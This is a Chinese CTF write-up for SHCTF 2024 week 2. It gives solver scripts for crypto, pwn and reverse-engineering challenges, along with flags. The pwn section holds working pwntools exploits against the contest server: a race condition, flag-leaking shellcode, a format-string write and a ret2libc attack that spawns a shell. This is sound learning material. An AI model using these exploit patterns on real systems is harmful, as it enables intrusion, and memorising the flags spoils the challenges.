[山河2024] week2
官方WP出得很快。对照官的写下私的。大概出入不大,毕竟第2周。后边的才难。
Crypto
E&R
RSA因子分解题,把q的2进制反转后与p异或。关于异或的题很多,这个还真是头一回见,不过爆破方法还是一样的。
r_q = int(bin(q)[2:][::-1] , 2)
leak = p ^^ r_q
爆破都比较简单分三步,
1是个递归,由于给的是异或所以每种情况两个值。
2是剪枝,爆破没有剪枝就不可能完成,毕竟有几百步。这里由于p和q是反的,所以要把q的尾部转成p的尾部(乘逆)然后判断全1是否不足N全0是否超N,过滤掉不接入正确值的分枝。
3是个cooper,也可以不用直接递归到底,不过一般差几百就可以直接出结果了。
def pq_xor(tp,tq,idx):
global ok,cnt
if ok:
return
#通过tq的尾部得到tp的尾部
mod =2^idx
p = int(tp,2)
ql = int(tq[::-1],2)%mod
pl = N*inverse_mod(ql,mod)%mod
p += pl
#通过p的尾部得到q的头部
qh = (pl^^leak)%mod
print(hex(qh),hex(pl), hex(mod),hex(pl^^leak))
q = int((bin(qh)[2:].zfill(256))[::-1],2)+ql
mid = int('1'*(256-2*idx) + '0'*idx,2)
print(hex(mid))
print(hex(p))
print(hex(q))
#过滤掉越界的部分
if p*q>N:
print('>')
return False
elif (p+mid)*(q+mid)<N:
print('<')
return False
if idx>=80:
cnt += 1
try:
PR.<x> = PolynomialRing(Zmod(N))
f = int(tp,2) + x*mod + pl
print('Try', len(hex(p)))
rr = f.monic().small_roots(X=2^(256-2*idx), beta=0.4)
if rr != []:
print(rr)
print(tp)
p = int(f(rr[0]))
print('p = ',p)
ok = True
return
except:
pass
return
print('idx',idx)
if leak&(1<<(255-idx))==0:
pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)
pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)
else:
pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)
pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)
return
leak = 5599968251197363876087002284371721787318931284225671549507477934076746561842
N = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909
ok = False
cnt = 0
tp = tq = '1'+'0'*255
pq_xor(tp,tq, 1)
p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
d = invert(e,p-1)
m2 = pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b'-908f-7c002c687387'
后半部分是个椭圆出线P=e*G,其中曲线参数都给了n是上边这个n,m是G的x值,显然不是求私钥的题,是已知P求基点,乘e的E.order()的逆即可。
p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
E = EllipticCurve(Zmod(p),[114514,1919810])
e_ = inverse_mod(e,E.order())
G = e_ * E(P)
long_to_bytes(int(G.xy()[0]))
padding
RSA在CTF里是个永恒的主题。这里flag有点长,然后加了padding,但是padding已经给了,所以未知部分并不太长,符合coopersmith的条件。
e = 0x3
pad = b'a_easy_problem'
c = pow(bytes_to_long(flag + pad),e,n)
所以直接cooper求解即可
n = 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c = 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001
t = b'SHCTF{'+b'\x00'*32+b'}a_easy_problem'
t = bytes_to_long(t)
P.<x> = PolynomialRing(Zmod(n))
f = (t+x*256^15)^3 - c
res = f.monic().small_roots(X=2^(8*32), beta=1, epsilon=0.05)
long_to_bytes(int(f(res[0])))
worde很大
已知e和dp分解n, dp = d mod (p-1) ,由于p-1是phi的因子,所以这里随便拿个数大概率g^t%n-1就是p 这里用d,dp效果都一样。
from gmpy2 import gcd
import random
def e_dn(e_d,n):
k=e_d-1
while True:
g= random.randint(2,n-1)
t=k
while True:
if t%2!=0:
break
t=t//2
x=pow(g,t,n)
if x > 1 and gcd(x-1, n) > 1:
p=gcd(x-1,n)
q=n//p
return p,q
#这里的dp也能用
p,q=e_dn(e*dp,n)
m = pow(c,dp,p)
long_to_bytes(m)
#b'SHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}'
魔鬼的步伐
这里的漏洞在于p是由一堆小因子相乘后加1得到,也就是p-1光滑。
def get_Prime(bits):
while True:
n = 2
while n.bit_length() < bits:
n *= choice(primes)
if isPrime(n + 1):
return n + 1
#p+1光滑
import gmpy2
N = n
a = 2
k = 2
while True:
a = pow(a, k, N)
res = gmpy2.gcd(a-1, N)
if res != 1 and res != N:
q = N // res
print("k=",k)
print("p=",res)
print("q=",q)
break
n += 1
ezECC
椭圆曲线的一些运算
m = next_prime(bytes_to_long(flag))
p = getPrime(512)
a,b = getPrime(128),getPrime(128)
E = EllipticCurve(Zmod(p),[a,b])
k = getPrime(256)
A1 = E.random_point()
A2 = A1*k
M = E.lift_x(m)
C = M+A2
行是求参,根据方程y^2=x^3+ax+b mod p ,已知2个点A1,C带入即可。
#y^2 = x^3 +a*x +b
#求参数
a = (A1[0]^3-C[0]^3 -A1[1]^2+C[1]^2)*inverse_mod(-A1[0]+C[0],p)%p
b = (-A1[0]^3 -a*A1[0] + A1[1]^2)%p
然后是个减法,由于A1和k已知所以A2也算是已知直接乘,而椭圆曲线的减法可以直接减。
另外这里的x是next_prime(flag)所以有点小误差。
ec = E(C)
ea1 = E(A1)
ea2 = ea1*k
M = ec - ea2
PWN
easy_competition
关于资源共享的问题,输入会被存在共享内存里,检查后2秒才会执行,这样起两个进程,一个写个可以检查通过的值,然后第2个再写入超常的值,第1个进程会执行修改过的值(脏数据)从而绕过检查。
from pwn import *
context(arch='amd64', log_level='debug')
p1 = remote('210.44.150.15', 46333)
p2 = remote('210.44.150.15', 46333)
p1.send(p64(0))
p2.send(p64(0x404120))
p1.interactive()
ez_sandbox
沙箱题,只开了open+read没有输出就可能通过判断程序是否退出来确认对比值是否正确。官WP里用了:在正确时read,我一般用正确时循环。不过我这个不好,read会阻塞,不占资源而死循环会让CPU冒烟。
而这个题的后台可能因为循环造成的有问题,延时会不断增加,导至一会就会超过判断的阀值。所以还是用官WP里的read比较好。
from pwn import *
import time
context(arch='amd64', log_level='error')
def getv(i,v):
#p = process('./pwn')
#gdb.attach(p,"b*0x5555555553e0\nc")
p = remote('210.44.150.15', 45964)
code = 'add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;'+shellcraft.open('flag')+shellcraft.read('rax', 'r15', 0x50)
code += f"\nmov al, byte ptr[r15+{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall;" #60 exit,62 kill,231 exit_group
p.send(asm(code))
t = time.time()
try:
p.recv(timeout=4)
#p.interactive()
except:
pass
k = time.time()-t
print(k)
p.close()
if k>4.0:
return True
else:
return False
#getv(1, 0x66)
if 0:
p = remote('210.44.150.15',44281)
code = 'add rax,0x100; push rax;pop r15;'+shellcraft.open('flag')+'\nloop: cmp al,3; jz loop;mov rax,1;syscall;'
p.send(asm(code))
t = time.time()
try:
p.recvall(timeout=3)
p.close()
except:
print('xxx')
p.close()
print(time.time()-t)
#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag = 'SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}'
for i in range(len(flag), 70):
for v in b'0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?&^%$#@!~()+=':
print(chr(v), end='')
if getv(i,v):
flag += chr(v)
print(flag)
break
print(flag)
ezorw
这题出的非常巧妙。main打开flag然后调用vuln,vuln会从标准输入读数据输出,然后关掉flag文件并清指针。
问题就在于清fd这。文件关闭后半不需要清理fd,它只是个编号并不是指针。
所以这题通过溢出重排下调用关系,vuln溢出将返回地址改为调用vuln前,这样执行完后并不重新打开文件而是重入,这时候读第2个payload正常的不用溢出,之后会执行关闭文件操作,由于文件并没有打开fd还是0,所以会关闭标准输入。再次再次执行打开文件时fd会使用0,然后就从0读出flag输出。
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('210.44.150.15', 49888)
p.sendafter(b"Give you a gift\n", b'A'*0x18+b'\xbb')
sleep(0.5)
#close(0)
p.send(b'A'*0x18+b'\x97')
p.interactive()
json_printf
后边这两个题就没意思了,给了名字显然输入要求用json格式(猜,因为json解析那个函数很难看懂),然后就是一个简单的printf到门匙。
from pwn import *
context(arch='i386', log_level='debug')
p = remote('210.44.150.15', 31325)
p.sendlineafter(b"How to send data?\n", b'{"name":"%999c%10$n '+p32(0x8052074)+b'","age":18}')
p.interactive()
json_stackoverflow
为作新词强说愁。
from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('210.44.150.15',22826)
p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(elf.plt['puts'],0x8049432,elf.got['puts'])+b'","age":18}')
p.recvline()
p.recvline()
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")
p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(libc.sym['system'],0x41414141,next(libc.search(b'/bin/sh\0')))+b'","age":18}')
p.interactive()
REV
下周基本就是难题了,REV就作不了了。
Android?Harmony!
这个作了好几天。先改扩展名zip解两次,出来的.abc文件到网站上在线反编译。出来的代码巨难看。
大致理解成两块,其实是3块,所以一开始没作出来。代码太难看了,估计用编译工具优化后的会好点。
第1块是个迷宫,这个按层遍历就能弄到最优解。他没说是WASD还是0123所以flag不是路径。
msg = open('maze.py').readlines()
maze = [[0]*85 for i in range(85)]
for i in range(85):
for j in range(85):
maze[i][j] = msg[i][j]
xx = [[-1,0],[1,0],[0,-1],[0,1]]
way = [['',[1,83]]]
ok = False
while True:
tway = []
for k in way:
for i,x in enumerate(xx):
fx,fy = k[1][0]+x[0], k[1][1]+x[1]
if fx==77 and fy==1:
print(k[0]+str(i))
ok = True
break
if maze[fx][fy] == ' ':
maze[fx][fy] = 'X'
tway.append([k[0]+str(i),[fx,fy]])
if ok:break
if ok:break
way = tway.copy()
#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211
第2块是一个encode函数解出来的东西很长,能看到除了SHCTF{}和-以外就是16进制字符。只是很难看出来是怎么组合的。
secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"
b = bytes([(v-32-1919810)*39%95 + 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc
第3块其实是关于组合的fillflag,他按行列在迷宫里找3、4叉路口。然后把字符放上去。
msg = open('maze.py').readlines()
maze = [[0]*85 for i in range(85)]
for i in range(85):
for j in range(85):
maze[i][j] = msg[i][j]
way = '112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211'
ss = 'b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc'.ljust(522,' ')
#先将串放到至少3叉路口上 Fillflag,CheckGround
idx = 0
for i in range(1,84):
for j in range(1,84):
if maze[i][j] != ' ': continue
w = 0
if maze[i-1][j] == ' ': w+=1
if maze[i+1][j] == ' ': w+=1
if maze[i][j-1] == ' ': w+=1
if maze[i][j+1] == ' ': w+=1
if w>2:
maze[i][j]=ss[idx]
idx+=1
#沿最短径收集flag字符
xx = [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy = 1,83
flag = ''
for i in range(len(way)):
if i>=len(ss): break
if maze[fx][fy] != ' ':
flag += maze[fx][fy]
else:
maze[fx][fy] = '+'
k = xx[int(way[i])]
fx += k[0]
fy += k[1]
print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open('m2.txt','w').write('\n'.join([''.join(maze[i])for i in range(85)]).replace('#','.'))
把字符和迷宫放在一张图上就能看到flag是这个路径上的字符。
Loader
loader把enc文件解密后载入执行,显然手工解密后基本就完成了。
#loaddata对enc解密后导入
v9 = [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data = open('enc','rb').read()
d = []
for i in range(len(data)):
d.append(((data[i]-v9[(i+2)%9])^v9[i%9])&0xff)
open('mm.dat','wb').write(bytes(d))
后边是个麻烦事,因为这个java的Random不大好模拟,只能用java写小段。
import java.util.Random;
public class HelloWorld {
public static void main(String []args) {
String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random random = new Random(4310);
StringBuilder sb = new StringBuilder(12);
for (int i3 = 0; i3 < 12; i3++) {
sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));
}
System.out.println(sb.toString());
}
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}
babytea
略
from ctypes import *
from pwn import p32
'''
v0 = *a1;
v1 = a1[1];
total = 0x8DDE2E40;
for ( i = 0; i <= 0x3F; ++i )
{
v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total >> 11) & 3) + key) + total);
total += 0x61C88747;
v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total & 3) + key) + total);
}
*a1 = v0;
result = a1 + 1;
a1[1] = v1;
'''
def decrypt(v, k):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x61C88747
k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
cnt = 0x40
total = c_uint32(0x8DDE2E40 + delta * cnt)
for i in range(cnt):
v0.value += (((v1.value<<4)^(v1.value>>5))+v1.value) ^ v1.value ^(k[total.value&3] + total.value)
total.value -= delta
v1.value += (((v0.value<<4)^(v0.value>>5))+v0.value) ^ v0.value ^(k[(total.value>>11)&3] + total.value)
return p32(v0.value)+p32(v1.value)
enc = [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key = [1,1,2,3]
flag = b''.join([decrypt(enc[i:i+2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}
cancanneed
AES加密,没有key
在win11的机子上用jadx可以看到 res/raw/xxnd.jpg这张图,实际找不到叫这个名字,从目录里找到两张一样的图。从图上取key来解密。
from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5
enc = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
enc = b64decode(enc)
#/res/raw/xxnd.jpg 到res目录下找到看上去一样的两张图片(相同)
key = open('x4.jpg','rb').read()[2080:2080+16]
aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)
#SHCTF{Yu_@re_Very_N8_oF_@nDr01d}
花语
就是花指令专对夫ida的。找到反编译不成功的地方,手工nop掉就OK了,加密很简单
a = [i for i in "!}ggagllllff_fau_hisY_keF{CTSH"]
for j in range(14):
k = a[29-j]
a[29-j]=a[j]
a[j]=k
for i in range(0,29,2):
k = a[i]
a[i]=a[i+1]
a[i+1]=k
''.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}